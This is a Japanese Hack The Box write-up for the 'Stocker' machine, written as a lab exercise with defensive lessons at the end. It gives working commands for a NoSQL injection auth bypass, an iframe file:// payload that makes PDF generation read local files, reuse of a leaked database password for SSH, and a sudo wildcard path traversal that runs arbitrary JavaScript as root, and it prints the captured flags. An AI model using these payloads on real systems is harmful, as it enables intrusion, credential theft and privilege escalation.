Hack The BoxのWriteup(Stocker)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Stocker — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)
→
NoSQLi認証バイパス
{“$ne”: null}
→
PDF生成のHTMLインジェクション
<iframe src=”file://…”>
→
/etc/passwd + index.js漏洩
angoose発見、DB資格情報取得
→
SSH angoose
user.txt ✓
→
sudo ワイルドカード
/usr/local/scripts/*.js
→
パストラバーサルで任意JS実行
../../../tmp/evil.js
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & vhostの発見

BASH
nmap -sV -sC -p 22,80 10.129.228.197
curl -sI http://10.129.228.197/
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh
80/tcp open  http    nginx 1.18.0 (Ubuntu)

HTTP/1.1 301 Moved Permanently
Location: http://stocker.htb
ℹ️
stocker.htbは静的な「Coming Soon」ページのみ。vhostとして dev.stocker.htb(Node.js/Express製の開発中在庫管理アプリ) が存在すると推測し/etc/hostsに追記して直接アクセスする。
PHASE 2

NoSQLインジェクションによるログイン認証バイパス

MongoDBクエリ演算子をJSONボディに直接注入

BASH
curl -s -i -c cookies.txt -b cookies.txt \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
  http://dev.stocker.htb/login
RESULT
HTTP/1.1 302 Found
Location: /stock
Set-Cookie: connect.sid=s%3AWnOyAJoZQJPWqhWVS6qw85ywJmvsp-qD...
🚨
認証バイパス成功。サーバー側はreq.bodyをそのまま User.findOne({ username, password })というMongooseクエリに渡しており、 通常は文字列が入るべきusername/passwordに MongoDBのクエリ演算子オブジェクト{"$ne": null} (「nullではない」という条件)を送ると、任意の既存ユーザーの最初の1件が 無条件にマッチしてログインが成立してしまう。JSON形式で送るだけで実行でき、 特別なツールは不要。
PHASE 3

注文確認PDF生成機能のHTMLインジェクションによるLFI

注文APIの商品タイトルにHTMLタグを注入

NOTE
/stock 画面で商品を購入すると /api/order に注文内容(basketのJSON配列)がPOSTされ、
/api/po/<orderId> で確認用PDFが生成される。生成には(Puppeteer/wkhtmltopdf系の)
ヘッドレスブラウザが使われており、basket内の "title" フィールドが
サニタイズされずにPDFのHTML本文へそのまま埋め込まれる。
BASH (/etc/passwd を読む)
curl -s -i -b cookies.txt -H "Content-Type: application/json" \
  -d '{"basket": [{"_id": "638f116eeb060210cbd83a8d",
      "title": "<iframe src=\"file:///etc/passwd\" width=\"1400\" height=\"1400\"></iframe>",
      "description": "probe", "image": "red-cup.jpg", "price": 32,
      "currentStock": 4, "__v": 0, "amount": 1}]}' \
  http://dev.stocker.htb/api/order
RESULT
{"success":true,"orderId":"6ae1f95ef1278e50f871a7e2"}
🚨
PDF生成エンジンに任意のHTML(<iframe>)を注入できる。 src="file:///etc/passwd"を指定すると、ヘッドレスブラウザが ローカルファイルシステム上のファイルをiframe内に表示しようとし、 その内容がそのままPDFに描画される(古典的なHTML-to-PDF変換の file://プロトコル悪用LFI)。

PDFを取得しテキスト抽出

BASH
curl -s -L -b cookies.txt -o passwd.pdf \
  http://dev.stocker.htb/api/po/6ae1f95ef1278e50f871a7e2
pdftotext passwd.pdf passwd.txt
grep angoose passwd.txt
RESULT
root:x:0:0:root:/root:/bin/bash
...
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
✅
/etc/passwdの中身が丸ごとPDFのテキストとして読み取れた。 OSアカウントangooseの存在を確認。

同じ手法でアプリのソースコード(index.js)を読み、DB資格情報を窃取

BASH
curl -s -i -b cookies.txt -H "Content-Type: application/json" \
  -d '{"basket": [{"_id": "638f116eeb060210cbd83a8d",
      "title": "<iframe src=\"file:///var/www/dev/index.js\" width=\"1400\" height=\"1400\"></iframe>",
      "description": "probe", "image": "red-cup.jpg", "price": 32,
      "currentStock": 4, "__v": 0, "amount": 1}]}' \
  http://dev.stocker.htb/api/order
# → orderId を取得し /api/po/<orderId> から再度PDF取得・pdftotext
RESULT (抜粋)
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
...
const { username, password } = req.body;
if (!username || !password) return res.redirect("/login?error=login-error");
const user = await mongoose.model("User").findOne({ username, password });
🚨
アプリ自身のサーバーサイドソースコードが丸ごと読める。 MongoDB接続文字列に平文パスワードIHeardPassphrasesArePrettySecureが ハードコードされているのを発見。さらに、ソース中の findOne({ username, password })という行が、Phase 2のNoSQLi認証バイパスが なぜ成立したのかを裏付けている(入力値の型チェックを一切行っていない)。
PHASE 4

資格情報の使い回しでSSHログイン & user.txt

angooseとしてSSHログイン

BASH
sshpass -p 'IHeardPassphrasesArePrettySecure' ssh angoose@10.129.228.197 \
  "id; cat /home/angoose/user.txt"
RESULT
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)
1a4c0c580a07e1978281b7ba5e084020
user.txt — angoose
1a4c0c580a07e1978281b7ba5e084020
ℹ️
MongoDB専用のはずの資格情報がOSログインのパスワードとしてもそのまま 使い回されている典型的な横移動パターン。
PHASE 5

sudo権限の確認 — ワイルドカード付きパス指定の罠

sudo -l で実行可能なコマンドを確認

BASH
angoose@stocker:~$ sudo -l
RESULT
User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js
🚨
ワイルドカード*.jsがパスの末尾コンポーネントにしか効かない というsudoersの仕様上の落とし穴。/usr/local/scripts/配下の .jsファイルしか実行させないつもりの設定だが、sudoは実際には 文字列パターンとしてシェルのグロブ展開のみをチェックしており、 パスの途中に../を挟んでディレクトリをどこまでも遡った上で 最終的に.jsで終わっていれば条件を満たしてしまう。
PHASE 6

パストラバーサルで任意のJavaScriptをroot権限実行 & root.txt

任意コマンド実行用のJavaScriptを /tmp に作成

BASH
angoose@stocker:~$ cat > /tmp/evil.js << 'EOF'
console.log(require('child_process').execSync('cat /root/root.txt').toString())
EOF

../ でワイルドカードチェックを回避しつつ /tmp のファイルを実行

BASH
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/evil.js
RESULT
ae487b2f798aaada62f6789033f1a97a
✅
/usr/local/scripts/../../../tmp/evil.jsというパスは、文字列としては 「/usr/local/scripts/で始まり.jsで終わる」という sudoersのパターンに一致するため許可され、実際に解決されるパスは /tmp/evil.js(自分が自由に書き込めるファイル)になる。 これをsudo(root権限)でnodeに渡すことで、 Node.jsのchild_process.execSync()経由で任意コマンドがroot権限で 実行される。
root.txt — root (sudoワイルドカード・パストラバーサル経由)
ae487b2f798aaada62f6789033f1a97a
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — angoose
1a4c0c580a07e1978281b7ba5e084020
root.txt — root
ae487b2f798aaada62f6789033f1a97a

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
NoSQLインジェクション(認証バイパス) dev.stocker.htb /login (Express + MongoDB) 認証の完全バイパス Critical 入力の型チェックなしにfindOne({username, password})へ渡しており、{"$ne": null}注入で常にマッチ
PDF生成機能のHTMLインジェクション → LFI /api/order の basket[].title → /api/po/<id> サーバー上の任意ファイル読み取り Critical 未サニタイズのtitleフィールドにiframe+file://を注入し、生成PDFにローカルファイル内容を描画させる
設定ファイル・ソースコードへの資格情報ハードコード + 使い回し index.js (MongoDB接続文字列) OSアカウント(angoose)乗っ取り High LFIでソースを読み平文DBパスワードを窃取、同じ値がSSHパスワードにも使い回し
sudoersワイルドカードパターンのパストラバーサル (ALL) /usr/bin/node /usr/local/scripts/*.js 権限昇格(一般ユーザー → root) Critical ../でディレクトリを遡り、自分が書込可能な.jsファイル(例: /tmp配下)をroot権限で実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + vhost追加22(SSH)/80(nginx dev.stocker.htb)
2認証バイパスNoSQLi (MongoDB演算子注入)stock管理画面へのログイン
3LFIPDF生成のHTMLインジェクション/etc/passwd + index.js(DB資格情報)
4フットホールドSSH(資格情報使い回し)user.txt(angoose)
5権限調査sudo -lワイルドカード付きnode実行権限を発見
6権限昇格sudoersパターンのパストラバーサルroot.txt

学んだ教訓 & 防御策

問題点防御策
リクエストボディの値を型チェックなしにMongoDBクエリへ渡している 入力値はスキーマバリデーション(express-validator等)で必ず文字列型であることを検証し、オブジェクト型の混入を拒否する。
PDF生成エンジンがユーザー入力由来のHTMLをサニタイズせず描画している PDF化対象のHTMLは信頼できる固定テンプレートにユーザー入力を安全にエスケープして埋め込み、file://等のプロトコルスキームを無効化する(サンドボックス化されたヘッドレスブラウザ設定)。
DB接続文字列の平文パスワードがソースコードにハードコードされ、OSログインにも使い回されている 資格情報は環境変数やシークレットマネージャーで管理し、サービスごとに異なる認証情報を発行する。
sudoersのワイルドカードパターンが文字列マッチのみでパス正規化を考慮していない sudoで許可するコマンドは個別の絶対パスで明示列挙し、ワイルドカードを使う場合はsudoeditやrealpathチェックを組み合わせた安全なラッパースクリプト経由にする。
HackTheBox: Stocker | 完全攻略レポート